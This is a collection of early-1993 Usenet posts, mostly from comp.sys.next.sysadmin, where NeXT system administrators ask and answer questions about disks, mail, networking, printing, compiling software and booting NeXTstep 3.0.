2. Does anybody have any disktab entries for this HP
HD? I would like to partition it if possible,
but I don't know how to do the disktab entries.
3. Is there anything I need to be aware when I convert
this HD into an external HD?
Please reply to me at bmwu@athena.mit.edu (NO NeXTMail please).
Thanks in advance for your help.
Best regards,
Benson M. Wu
bmwu@athena.mit.edu
(NO NeXTMail please)
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From: beksten@ucqais.cba.uc.edu (Brick Eksten)
Subject: Can't install old software.
Message-ID: <51@ucqais.cba.uc.edu>
Keywords: 2.1 3.0 Ensampble
Sender: root@babbage.ece.uc.edu (Operator)
Organization: University of Cincinnati, College of Business
Distribution: US
Date: Wed, 3 Feb 1993 05:00:41 GMT
I would like to install some of the old 2.1(ish) examples on my
mono station running 3.0. Is this possible? I tried installing
them from the CD but it just kinda ignores me.
--
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beksten@ucqais.cba.uc.edu % If this ain't fun I don't know what fun is? %
EcoDev@cup.portal.com
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From: bnocker@cosy.sbg.ac.at (Bernhard Nocker)
Subject: HELP with ZyXEL U-1496E
Message-ID: <C21764.CvK@cosy.sbg.ac.at>
Keywords: modem ZyXEL
Sender: news@cosy.sbg.ac.at
Organization: University of Salzburg / Austria
Date: Sat, 6 Feb 1993 14:34:51 GMT
Hi all!
I have a serious problem concerning the hardware password on a ZyXEL
U-1496E modem. After entering at*hs to change the password I entered
the old password correctly but instead of entering a new password I
"simply" pressed the return key. Now I cannot access the hardware
password again.
Has anyone seen that too? What to do?
Any help, comments and suggestions greatly appreciated.
Bernhard
--
Bernhard Nocker
University of Salzburg's Department of Computing Studies
Jakob-Haringerstr. 5 5020 Salzburg Austria, Europe
Tel: +43-662-8044/6316 bnocker@cosy.sbg.ac.at
Fax: +43-662-8044/6316 or +43-662-8044/611
From: herzog@ux5.lbl.gov (Hanan Herzog)
Newsgroups: comp.sys.next,comp.sys.next.sysadmin,comp.sys.next.misc
Subject: Risks of updating /etc/fstab for new disk
Followup-To: comp.sys.next
Date: 6 Feb 1993 21:37:49 GMT
Organization: Lawrence Berkeley Laboratory
Distribution: world
Message-ID: <1l1b3dINN8cc@overload.lbl.gov>
Hi,
An external hard disk has been added to a Next cube. The
people who originaly started the installation did not update
/etc/fstab to accomodate the new disk with file access protection
etc., If I update /etc/fstab to account for the external disk is there
any risk of losing what is on the internal drive? I don't care if I
loose everything on the external, not much is there anyway. Currently
there is one line in /etc/fstab -- for the old internal drive.
Please reply by e-mail.
Hanan
e-mail: herzog@lbl.gov
Newsgroups: comp.sys.next.sysadmin
From: hogan@boetius (Kharim Hogan)
Subject: How to disable logins on one machine? Help!!
Message-ID: <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu>
Sender: news@thunder.mcrcim.mcgill.edu
Organization: Los Alamos National Laboratory, NM
Date: Thu, 4 Feb 93 19:21:36 GMT
Hi,
Is it possible to disable network accounts on one machine?
We need to be able to dedicate one of our machines (which
sits in a public lab) to one project for a few months.
Since all users have network accounts, probably the easiest
way to restrict this machine would be to disallow logins
on only that machine. Is there any relatively simple way
to do this without having to move the machine to a private
office (which is not an option at this point)? i.e. only
those working on the project could login to this machine
although the machine must remain on the network.
Any help or pointers appreciated.
Thanks,
Kharim
--
*************************************************************************
Kharim M. Hogan Systems Administrator
hogan@music.mcgill.ca Faculty of Music, McGill University
*************************************************************************
Newsgroups: comp.sys.next.sysadmin
From: mckelvey@fafnir.com (James W. McKelvey)
Subject: Readonly Domains
Message-ID: <C227Hx.79@fafnir.com>
Sender: mckelvey@fafnir.com (James W. McKelvey)
Organization: Fafnir Software, Saugus, CA, USA
Date: Sun, 7 Feb 1993 03:39:33 GMT
When I try to modify the Netinfo database from a host NOT the Netinfo server, I
usually get a message like "readonly domain, cannot change". But the domain is
not readonly, and can be changed from the server. I thought the only readonly
domains were on clone servers. This happened after I was out for a day, and
someone else "fixed" some problems.
Is there a way to fix this, or must I reinstall the Netinfo database?
--
The gentle journey jars to stop. The drifting dream is
done. The long gone goblins loom ahead; the deadly,
that we thought were dead, stand waiting, every one.
-- Walt Kelly Jim McKelvey mckelvey@fafnir.com
Newsgroups: comp.sys.next.sysadmin
From: steved@bankone.com
Subject: nntp
Message-ID: <1993Feb5.185333.3053@bankone.com>
Keywords: nntp,news
Sender: steved@bankone.com (Steve Dieringer)
Organization: Bank One, Columbus NA
Date: Fri, 5 Feb 1993 18:53:33 GMT
I'm trying to get nntp compiled. Does anyone have any suggestions, hints,
tips, or compiled binaries?
I'm getting the following error:
cd server; make "LIBS=-lcnews" "CFLAGS=-O -I/usr/local/include
/usr/local/lib/dbz.o"
cc -O -I/usr/local/include /usr/local/lib/dbz.o -c main.c
main.c: In function `main':
main.c:226: `LOG_NEWS' undeclared (first use this function)
main.c:226: (Each undeclared identifier is reported only once
main.c:226: for each function it appears in.)
*** Exit 1
Stop.
Thanks,
Steve
--
Steve Dieringer NeXTMail: steved@bankone.com
(formerly steved@essex.com)
Newsgroups: comp.sys.next.sysadmin
From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress)
Subject: Remote Mail?
Date: Sun, 7 Feb 1993 17:53:57 GMT
Message-ID: <C23B1y.Mo7@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana
I would like to read my mail that I have on a remote machine.
I tried:
open Mailboxes/Active.mbox -NXHost pegasos.ccsr.uiuc.edu
but that didn't work.
Any suggestions?
Thanks,
--
Gottfried Mayer-Kress
Center for Complex Systems Research, Department of Physics
3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801
gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail)
gmk@goshawk.lanl.gov, gmk@santafe.edu
(217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
Newsgroups: comp.sys.next.sysadmin
From: gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress)
Subject: FAX format conversion?
Date: Sun, 7 Feb 1993 18:04:28 GMT
Message-ID: <C23BJG.Mu8@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: University of Illinois at Urbana
It looks like FAXes are implicitely defining a new image format standard.
Is there an elegant way to convert images into fax format WITHOUT sending them
through a FAX?
Thanks,
--
Gottfried Mayer-Kress
Center for Complex Systems Research, Department of Physics
3025 Beckman Institute, 405 N Mathews, Urbana, Il 61801
gmk@pegasos.ccsr.uiuc.edu (NeXT-Mail)
gmk@goshawk.lanl.gov, gmk@santafe.edu
(217)-244-5877 (voice/fax modem),x8371(fax), x1994 (msg)
Newsgroups: comp.sys.next.sysadmin
Subject: Dwriting to 2-bit color
Message-ID: <1993Feb7.115727.1389@yvax.byu.edu>
From: feijai@endor.byu.edu (Sean Luke)
Date: 7 Feb 93 11:57:27 -0700
Sorry if this is FAQ by now.
We've upgraded to 3.0, and have found the Workspace Manager...slow and
ponderous when scrolling or doing screen updates. We have no color machines
in our little network out here. Can anyone tell me what the dwrite command
was to set an application (in particular, the Workspace Manager, Mail,
Preferences, etc.) to 2-bit?
Thanks very much
--
Sean Luke
Brigham Young University MILK: It Comes From Cows
sean@digaudio.byu.edu
NeXTmail and nifty Mac stuff welcome
From: dan@quiensabe.az.stratus.com (Dan Danz)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Dwriting to 2-bit color
Message-ID: <1l431t$foj@transfer.stratus.com>
Date: 7 Feb 93 22:38:53 GMT
References: <1993Feb7.115727.1389@yvax.byu.edu>
Organization: Stratus Computer Inc, Marlboro MA
Sean Luke writes
> We've upgraded to 3.0, and have found the Workspace Manager...slow and
> ponderous when scrolling or doing screen updates. We have no color machines
> in our little network out here. Can anyone tell me what the dwrite command
> was to set an application (in particular, the Workspace Manager, Mail,
> Preferences, etc.) to 2-bit?
dwrite GLOBAL NXWindowDepthLimit TwoBitGray
--
L. W. "Dan" Danz (WA5SKM) VOS Mail: Dan_Danz@vos.stratus.com
Sr Consulting Software SE NeXT Mail: dan@az.stratus.com
Customer Assistance Center Voice Mail/Pager: (602) 852-3107
Telecommunications Division Customer Service: (800) 828-8513
Stratus Computer, Inc. 4455 E. Camelback #115-A, Phoenix AZ 85018
From: oscar@msen.com (Oscar Linares)
Newsgroups: comp.sys.next.sysadmin
Subject: TCP/IP SunSPARC <- NeXT
Date: 8 Feb 1993 01:43:18 GMT
Organization: Msen, Inc. -- Ann Arbor, Michigan
Message-ID: <1l4ds4INNf8g@nigel.msen.com>
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: jonv@ptnext.claremont.edu (Jon Vestal)
Subject: Help with TCL
Message-ID: <1993Feb8.010632.7546@muddcs.claremont.edu>
Sender: news@muddcs.claremont.edu (The News System)
Organization: Harvey Mudd College, Claremont, CA 91711
Date: Mon, 8 Feb 1993 01:06:32 GMT
Hi,
Can someone give me some insight on how to compile TCL for NS 3.0. I am
trying to get Expect up and running and it needs TCL. Thanks.
Jon Vestal
Systems Technician
Pitzer College
jonv@ptnext.clarmeont.edu (NeXT Mail)
Newsgroups: comp.sys.next.sysadmin
Subject: Can't get incoming mail to work!
Message-ID: <1993Feb7.202921.15473@miavx1.acs.muohio.edu>
From: mgjones@miavx1.acs.muohio.edu (Mike 'Felix' Jones)
Date: 7 Feb 93 20:29:21 -0500
Organization: Miami University Academic Computer Service"
Hello all,
I am having some trouble getting incoming mail working on a group of NeXT
machines on a NetInfo network here.
First of all, the setup -- The master NetInfo machine is a NeXTcube running
NeXTStep 2.0. The hostname of this machine is "gluttony", a name it was
given a while back. Now, however, that we have gotten internet service,
it had been decided that we should use the internet name
"nextsrv.cas.muohio.edu". Ok, so now we have name service with that
internet address, but the host name is still gluttony. So I tried playing
around with NetInfoMgr and created the alias "nextsrv". Well, that didn't
fix my problem. Mailing to nextsrv.cas.muohio.edu still gave me the
following bounce: (mesg deleted for space, but it was addressed to
mgjones@nextsrv.cas.muohio.edu -- a valid account).
============[ bounced message header ]===============
From Mailer-Agent@gluttony. Ukn Feb 7 15:42:09 1993
Received: from apsvax.aps.muohio.edu by gluttony (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0)
id AA00829; Fri, 14 Aug 92 17:37:40 EDT
Date: Fri, 14 Aug 92 17:37:40 EDT
From: Mailer-Agent@gluttony. (NeXT Mail Agent)
Subject: Returned mail: Service unavailable
Message-Id: <9208142137.AA00829@ gluttony >
To: <mgjones>
Status: RO
X-Status:
----- Transcript of session follows -----
Connected to nextsrv.cas.muohio.edu:
>>> HELO gluttony
<<< 553 gluttony host name configuration error
554 <mgjones@nextsrv.cas.muohio.edu>... Service unavailable
----- Unsent message follows -----
============[ End bounced header... ]===============
Well, at this point I thought maybe the host name had to match, so as an
experiment, I changed the host name and tried again with the following
results: (note: I changed the actual hostname to "nextsrv").
============[ bounced message header ]===============
From Mailer-Agent@nextsrv.cas.muohio.edu Ukn Feb 6 16:16:46 1993
Received: from apsvax.aps.muohio.edu by nextsrv.cas.muohio.EDU (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0)
id AA00285; Thu, 13 Aug 92 18:12:05 EDT
Date: Thu, 13 Aug 92 18:12:05 EDT
From: Mailer-Agent@nextsrv.cas.muohio.edu (NeXT Mail Agent)
Subject: Returned mail: Service unavailable
Message-Id: <9208132212.AA00285@ nextsrv.cas.muohio.EDU >
To: <mgjones>
Status: RO
X-Status:
----- Transcript of session follows -----
Connected to nextsrv.cas.muohio.edu:
>>> HELO nextsrv.cas.muohio.EDU
<<< 553 nextsrv.cas.muohio.EDU host name configuration error
554 <mgjones@nextsrv.cas.muohio.edu>... Service unavailable
----- Unsent message follows -----
============[ End bounced header... ]===============
Anyways, I just became the sysadmin for these NeXT machines, so I am not real
knowledgable with the sendmail yet. Am I missing something obvious? Is
there anyway I can get this to work while keeping the name as gluttony?
Or should I rename it and keep it as nextsrv (not really preferred since
all the users mount under /Net/gluttony/clients/Users/<user>...I'd rather not
have to have them fix all the programs they have that use the absolute path).
Any help or pointers to help will be greatly appreciated. E-Mail them to
mgjones@miavx1.acs.muohio.edu. Thanks.
---
Mike "Felix" Jones
mgjones@miavx1.acs.muohio.edu
Newsgroups: comp.sys.next.sysadmin
From: timbuck@borg.lib.vt.edu (Tim Buck)
Subject: Using lpr with PC/TCP??
Message-ID: <1993Feb8.034333.8624@ecsvax.uncecs.edu>
Sender: usenet@ecsvax.uncecs.edu (News Administrator)
Organization: Los Alamos National Laboratory, NM
Date: Mon, 8 Feb 1993 03:43:33 GMT
I'm having trouble printing to an HP Deskjet 500 connected to my NeXT from
a DOS machine running PC/TCP v.2.05. I'm using djf v.2.03 to drive the
DeskJet.
The problem I have is this: any PostScript file I print using "lpr" from
the NeXT works fine; the PostScript code is properly interpreted and I get
the expected printed results. But when I use "lpr" from the DOS machine,
the PostScript code is printed, not the interpreted results. The PS code
is never being processed by the djf filter.
Can anyone offer me a solution for this? Thanks in advance.
--
Tim Buck
rri!tim@vtserf.cc.vt.edu Recognition Research, Inc.
timbuck@borg.lib.vt.edu Blacksburg, VA 24060
------------------- Standard disclaimers apply -------------------
Newsgroups: comp.sys.next.sysadmin
From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: Dwriting to 2-bit color
Message-ID: <1993Feb8.044236.26654@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <1l431t$foj@transfer.stratus.com>
Date: Mon, 8 Feb 1993 04:42:36 GMT
In article <1l431t$foj@transfer.stratus.com> dan@quiensabe.az.stratus.com
(Dan Danz) writes:
> Sean Luke writes
> > We've upgraded to 3.0, and have found the Workspace Manager...slow and
> > ponderous when scrolling or doing screen updates. We have no color
machines
> > in our little network out here. Can anyone tell me what the dwrite
command
> > was to set an application (in particular, the Workspace Manager, Mail,
> > Preferences, etc.) to 2-bit?
>
> dwrite GLOBAL NXWindowDepthLimit TwoBitGray
Aren't the windows automatically adjusted to the
available display? I think so!
I think you are just experiencing the bug-fix in NeXTstep
3.0 that eliminates the pesky instantaneous browser
response in NeXTstep 2.1 ;-)
--
Nathan Janette
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
From: william_w@verifone.com
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin
Subject: Re: monitoring a UPS from a serial port
Message-ID: <1993Feb7.172444.4810@verifone.com>
Date: 7 Feb 93 17:24:44 -1000
References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> <C0wn95.41L@boi.hp.com>
Followup-To: comp.unix.admin,comp.sys.next.sysadmin
Organization: VeriFone Inc., Honolulu HI
I'll be very appreciate if you can Email me all about it.
Thanks in advance.
William Wang
=========================================================
In article <C0wn95.41L@boi.hp.com>, guy@boi.hp.com () writes:
>
> --
>
> I've done it on HP-UX systems. I have a C program that monitors a rs232
> port. It logs power fail events and will call a shutdown script when
> the battery gets low. The program is started by the rc script on boot
> up. Email if your interested in the details.
>
>
> --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
> Guy Burnham, Boise Surface Mount Center, Hewlett Packard Co. Inc.
> guy@hpbs5194.boi.hp.com 208(323-3355)
>
> I WORK TO LIVE ... I LIVE FOR TRAINS, and OLD TRUCKS, and OLD TRACTORS and ..
>
> Disclaimer: Don't you be the only one to take me seriously!
> --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: cowboy@trans.csuohio.edu (Joe Rosenfeld)
Subject: Re: Help with TCL
Message-ID: <1993Feb8.113259.697@news.csuohio.edu>
Followup-To: comp.sys.next.misc,comp.sys.next.sysadmin
Sender: news@news.csuohio.edu (USENET News System)
Organization: Cleveland State University
References: <1993Feb8.010632.7546@muddcs.claremont.edu>
Date: Mon, 8 Feb 1993 11:32:59 GMT
Jon Vestal (jonv@ptnext.claremont.edu) wrote:
: Hi,
: Can someone give me some insight on how to compile TCL for NS 3.0. I am
: trying to get Expect up and running and it needs TCL. Thanks.
: Jon Vestal
: Systems Technician
: Pitzer College
: jonv@ptnext.clarmeont.edu (NeXT Mail)
Yes, me too. Please POST if you have the answer.
Thanks,
Joe
| Joe Rosenfeld cowboy@trans.csuohio.edu
| CSU Law Library joer@inca.law.csuohio.edu
| "We look for things ... to make us go!"
From: dgaw@beandog (david gaw)
Newsgroups: comp.sys.next.sysadmin
Subject: problem with printouts after 3.0 upgrade
Date: 8 Feb 1993 05:34:45 GMT
Organization: Coactive Aesthetics Inc.
Message-ID: <1l4rdlINNd1h@disc.coactive.com>
We recently upgraded our machines to 3.0, and now ALL
printouts (from all applications, including the PrintManager Test)
are slipped down the page by about 3/4". I can't seem to figure out
why.
Any ideas ??
David.
--
David Gaw Coactive Aesthetics
dgaw@coactive.com P.O. Box 425967, San Francisco, CA 94142
netcom!coactive!dgaw voice:(415)626-5152 fax:(415)626-6320
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
From: dickson@iris.psu.edu (Scott Dickson)
Subject: How to attach Micropolis 1924-21
Message-ID: <jy21Hvmtgc@atlantis.psu.edu>
Sender: news@atlantis.psu.edu (Usenet)
Organization: Penn State Center for Academic Computing
Date: Mon, 08 Feb 93 15:05:17 GMT
I know this must be a FAQ, but I just inherited a NeXT Station running
NS 2.0 and was then given a Micropolis 1924-21 2.4GB disk and was told
to make it work.
How does one go about labeling and building filesystems on the Micropolis
under NS 2.0?
--SCott Dickson
dickson@iris.psu.edu
Newsgroups: comp.sys.next.sysadmin
From: woo@ornl.gov (John W. Wooten)
Subject: Replaced boot disk, now have to bsd
Message-ID: <1993Feb8.155550.14636@ornl.gov>
Sender: usenet@ornl.gov (News poster)
Organization: Oak Ridge National Laboratory
Date: Mon, 8 Feb 1993 15:55:50 GMT
One of my new NeXTStation Turbos arrived with a bad internal disk. We
got a replacement from NeXT and installed it. It has the system on it
and so forth.
Somehow though it always comes up with the Monitor Window and the
statement "Can't located default boot device".
I have to do a NeXT> bsd
to get it started and it's fine.
How do I set the default boot device to be the new internal drive?
- - - - - - - - -
J. W. Wooten
Newsgroups: comp.sys.next.sysadmin
From: mark@cyantic.com (Mark T. Dornfeld)
Subject: Re: FAX format conversion?
Organization: CYANTIC Systems
Date: Mon, 08 Feb 1993 12:57:01 GMT
Message-ID: <1993Feb08.125701.12120@cyantic.com>
References: <C23BJG.Mu8@news.cso.uiuc.edu>
In article <C23BJG.Mu8@news.cso.uiuc.edu> gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) writes:
>It looks like FAXes are implicitely defining a new image format standard.
>Is there an elegant way to convert images into fax format WITHOUT sending them
>through a FAX?
PostScript may very well be the foundation of the next FAX standard. Adobe
is pushing their PostScript for FAX standard to all the modem/fax makers
and I believe the CCITT has slated PS for the next level standard.
While I have enjoyed the benefits of FAX for many years I have always
believed that email was the way to go. The new standard will make this
much easier since compressed ASCII will be transmitted rather than graphic
bits. Viewing FAXes in a character environment is still impossible
though.
--
Mark T. Dornfeld Voice: (416) 234-9048
CYANTIC Systems Facsimile: (416) 234-0477
101 Subway Crescent Suite 2103 Email: mark@cyantic.com
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
From: verket@venice.sedd.trw.com (Paul Verket)
Subject: Re: Help with TCL
Message-ID: <1993Feb8.161337.7338@venice.sedd.trw.com>
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <1993Feb8.010632.7546@muddcs.claremont.edu>
Date: Mon, 8 Feb 1993 16:13:37 GMT
Jon Vestal (jonv@ptnext.claremont.edu) wrote:
: Can someone give me some insight on how to compile TCL for NS 3.0. I am
: trying to get Expect up and running and it needs TCL. Thanks.
If you're lucky enough to have an OD drive and 2.0:
- boot from the 2.0 OD
- mount your 3.0 hard disk
- compile TCL
- reboot from hard disk.
Love them ODs!
Paul Verket (NeXTmail ok)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: cl50@muddnext9.cc.columbia.edu (Chengi Lin)
Subject: system error
Message-ID: <1993Feb8.152811.17312@news.columbia.edu>
Followup-To: comp.sys.next.sysadmin
Keywords: error, scsi
Sender: usenet@news.columbia.edu (The Network News)
Organization: Columbia University
Date: Mon, 8 Feb 1993 15:28:11 GMT
Hi,
I have the following problem and hope you can help me out.
I have the CD-ROM attatches directly to the cube and a cubefloppy
drive follows the CD-ROM because the cubefloppy has terminator. Their
back panel numbers are 3 and 4 respectively. I turn on the terminator
switch on the cubefloppy drive.
Everything goes fine with start up. But after a certin time (~10
hours), the system console begins to give me the following error message,
sd2 (4,0): ERROR op:0x0 sd_state:2 scsi status:0x0
sd2 (4,0): ERROR op:0x0 sd_state:2 scsi status:0x0
sd2 (4,0): ERROR op:0x0 sd_state:2 scsi status:0x0
goes on and on with the same message
I am not an Unix expert but my guess is error reading the second scsi
device and the device number is 4. With the error I can not acess
the floppy drive even though the CD-ROM drive still works fine.
I never had the problem before when I just had the cubefloopy drive. I
can solve the problem with reboot, but I don't like to reboot my
machine twice a day.
Does anyone has a better solution.
Please e-mail me as I don't read the group oftern.
Many thanks in advance.
--
[] James C. Lin [] SEAS, Columbia University
[] Internet: [] cl50@columbia.edu (No NeXTmail)
[] UUCP: [] James_Lin@gun.com (NeXTmail, Yeah!)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.software
From: waldvoge@nessie.cs.id.ethz.ch (Marcel Waldvogel)
Subject: Re: Binaries which would like to be run as root
Message-ID: <1993Feb8.175721.16536@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH
References: <1993Feb5.235524.21620@blaze.cs.jhu.edu> <1kv6avINNjn7@stephen.cs.ubc.ca>
Date: Mon, 8 Feb 1993 17:57:21 GMT
In article <1kv6avINNjn7@stephen.cs.ubc.ca> sritchie@cs.ubc.ca (Stuart Ritchie) writes:
>Yes, beware of Oxyd! You will get *no work done* until you complete
>the 10 levels. Trust me. By then, you'll be so hopelessly addicted
>that sending $42 for the book is no problemo.
And after you have the book, you won't stop before you haven't
finished level 100 (it's really addicting!).
>Great game BTW. Probably the best on NS right now. Of course now
>that NeXT engineers are busy writing games (XoX), this picture
>could change :-)
The thing I really hate is that it writes directly to the screen (and
it doesn't even work if /dev/vid0 is writable, that's what I hate most
about it running as root). It seems to be a direct (binary?) port from
the Atari ST (try to move the window around before you start playing
:-)). These few moving objects shouldn't give _ANY_ time problems when
doing it with the window server and it would even run on all NeXT machines!
I love the game, but I really hate that lousy port!
-Marcel
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin
From: waldvoge@nessie.cs.id.ethz.ch (Marcel Waldvogel)
Subject: Re: Problems with recvfrom(2)
Message-ID: <1993Feb8.182345.17475@bernina.ethz.ch>
Keywords: recvfrom, UDP
Sender: news@bernina.ethz.ch (USENET News System)
Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH
References: <1993Feb4.091953.21794@udel.edu> <1ksp95INN573@ni.umd.edu>
Date: Mon, 8 Feb 1993 18:23:45 GMT
In article <1ksp95INN573@ni.umd.edu> louie@sayshell.umd.edu (Louis A. Mamakos) writes:
>I took a quick look in my Stevens book, but didn't find the example in
>question. Could you be more specific? If you are getting a "Bad
>Address" error, could it be that your passing a bad buffer for
>sockaddr_in pointer to recvfrom() ?
A common problem is to pass the length, not the address of a variable
containing the length. This might be a problem.
-Marcel
Newsgroups: comp.sys.next.sysadmin
From: waldvoge@nessie.cs.id.ethz.ch (Marcel Waldvogel)
Subject: Re: Port 2453
Message-ID: <1993Feb8.190322.18647@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: Swiss Federal Institute of Technology (ETH), Zurich, CH
References: <1kibqhINNj27@usenet.INS.CWRU.Edu>
Date: Mon, 8 Feb 1993 19:03:22 GMT
In article <1kibqhINNj27@usenet.INS.CWRU.Edu> mcn@b62103.student.cwru.edu writes:
> Anyone know what port 2453 is? It's not in services, and all NeXTs seem
>to answer on it. (Also, some bugs exist with it that by hitting the right
>combination of characters, you can crash the target machine)...
This port is used by the Mach nmserver.
-Marcel
From: sulistio@sutro.SFSU.EDU (Sulistio Muljadi)
Newsgroups: comp.sys.next.sysadmin
Subject: 10baseT
Message-ID: <1993Feb8.121926.4096@nic.csu.net>
Date: 8 Feb 93 20:19:25 GMT
Organization: San Francisco State University
Hi,
I am trying to hook up my NeXT to a 10baseT network, but my NeXT won't
recognize that it's connected to the network. is there something that
I should configure to use the 10baseT?? Thank you
--
Mul | Alt. address: sulistio@futon.sfsu.edu
sulistio@sutro.sfsu.edu | NeXTmail -> sarong!sulistio@cs.sfsu.edu
#include "std/disclaimer.h" | sulistio@chop.isca.uiowa.edu
>Genius is one per cent inspiration and ninety-nine per cent perspiration.
From: richard@elroy.Jpl.Nasa.Gov (Richard Weidner)
Newsgroups: comp.sys.next.sysadmin
Subject: New Next (How do you boot the thing?)
Date: 6 Feb 1993 19:39:27 GMT
Organization: Image Analysis Systems Group, JPL
Distribution: ca
Message-ID: <1l145fINN5qn@elroy.jpl.nasa.gov>
I just got a NeXTstation Turbo Color. I was trying to move
it onto a nis heterogeneous network when I found my local
network box is not working. I found out after changing the
host manager. Now I can't get the damn NeXT up. It stays
in checking system files forever. I found out that
command ~ does nothing in the power up. (The ~ key is
not on the numeric keypad. Anybody there actually
look at the computer?) Anybody know
how to get a NeXT into the ROM Monitor to overwrite the
system files or get the damn thing up at all?
I looked at the FAQ and the user's guide/owner's guide/
release notes. I even called the NeXT 800 number
but the guy who answered said they
had nobody there who knew anything about a NeXT.
They did not even know what the keyboard looked like.
("We are concerned about the length of time you are on
hold." Yeah right. How about getting somebody who
has at least seen one of your products.)
Thanks
From: gdrew@cs.umd.edu (Greg Drew)
Newsgroups: comp.sys.next.sysadmin
Subject: I'm looking for an enhanced password program.
Message-ID: <64124@mimsy.umd.edu>
Date: 8 Feb 93 21:08:31 GMT
Sender: news@mimsy.umd.edu
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Does anyone know of a good secure password program for the NeXT? I would like
something along the lines of passwd+, which could replace the command line
"passwd" program, and also the password option in the preferences app (yes, I
know I am probably dreaming, but it would be difficult to guarantee that all
the users would only use the command line). Thanks! If it is a FAQ, could
you point me toward it - I have not seen one for this group yet.
-- GDD (new NeXT admin)
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gdrew@trellis.cs.umd.edu |
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From: gdrew@cs.umd.edu (Greg Drew)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: news on the NeXT
Message-ID: <64125@mimsy.umd.edu>
Date: 8 Feb 93 21:19:54 GMT
Sender: news@mimsy.umd.edu
Followup-To: comp.sys.next.sysadmin
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Could someone point me in the right direction for installing netnews software
on a NeXT. I have heard that there are reader applications (NewsGrazer?) out
there, but I am not sure where to find them. Also, will one of the standard
news software packages run on the NeXT ralatively painlessly? Thanks.
-- GDD (new NeXT sysadmin)
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gdrew@trellis.cs.umd.edu |
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Newsgroups: comp.sys.next.sysadmin
From: t_pascal@oxy.edu. (C. Regis Wilson)
Subject: Backspace
Message-ID: <1993Feb8.210328.12337@cheshire.oxy.edu>
Sender: usenet@cheshire.oxy.edu (System Account)
Organization: Occidental College, Los Angeles, CA. USA
Distribution: usa
Date: Mon, 8 Feb 1993 21:03:28 GMT
We recently upgraded to 3.0, and I thought that BackSpace was bundled...
I haven't found it anywhere. Does anyone know where it should be, or where
I can to snarf?
--
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1600 Campus Road, Box 829 | but not when the frost drops below zero
Los Angeles, CA 90041 | fifty degrees or more."
| -Old eskimo saying
Newsgroups: comp.sys.next.sysadmin
From: draphsor@deathstar.Stanford.EDU (Matt Rollefson)
Subject: Re: Remote Mail?
Message-ID: <1993Feb8.214717.11184@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: Residential Computing, Stanford University
References: <C23B1y.Mo7@news.cso.uiuc.edu>
Date: Mon, 8 Feb 93 21:47:17 GMT
In comp.sys.next.sysadmin gmk@pegasos.ccsr.uiuc.edu (Gottfried Mayer-Kress) writes:
>I would like to read my mail that I have on a remote machine.
>I tried:
>open Mailboxes/Active.mbox -NXHost pegasos.ccsr.uiuc.edu
>but that didn't work.
>Any suggestions?
What you did was tell the open command to execute on NXHost
pegasos.ccsr.uiuc.edu - you probably ended up seeing the Active.mbox
that's stored on the host you were on at the time. What you should do
instead is this:
/NextApps/Mail.app/Mail -NXHost pegasos.ccsr.uiuc.edu
Then if you want to read mail from a different mbox, use the utilities
within Mail.app to do so. open is not the command to use when
NXHost'ing.
Rollie
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Matt Rollefson ("Rollie") draphsor@deathstar.stanford.edu
Residential Computing, Stanford University NeXTmail accepted
From: richard@elroy.Jpl.Nasa.Gov (Richard Weidner)
Newsgroups: comp.sys.next.sysadmin
Subject: please disregard my previous message
Date: 6 Feb 1993 21:59:19 GMT
Organization: Image Analysis Systems Group, JPL
Distribution: ca
Message-ID: <1l1cbnINNcd5@elroy.jpl.nasa.gov>
I previously posted about finding how to boot the root monitor.
I found a way to get around it so please ignore my previous
message
thank you.
For those of you interested in trivia.
I found a security hole in NeXTstep 3.0 that lets you
into mach even while the rc scripts are running. That let me
repair the damage and get it up. I then got to read the
documentation some more on startshut. (It is nice that is online
and not in the external documentation where you need it.)
The on-line documentation is more precise than the
printed "stuff". (I am guessing. I still have not got into
the root monitor.) The printed "stuff" says hit command ~
right when the test screen shows. The on-line documentation says
hit command ~ during the first milli-seconds after it switchs
to loading from disk. If you wait too long the command ~
asks if you want to restart or power off. Funny how that
little distinction makes a big difference. But hey, exhaustive
typing every key is normal sys admin procedure isn't it?
- A Little Bit Annoyed at NeXT
Newsgroups: comp.sys.next.sysadmin
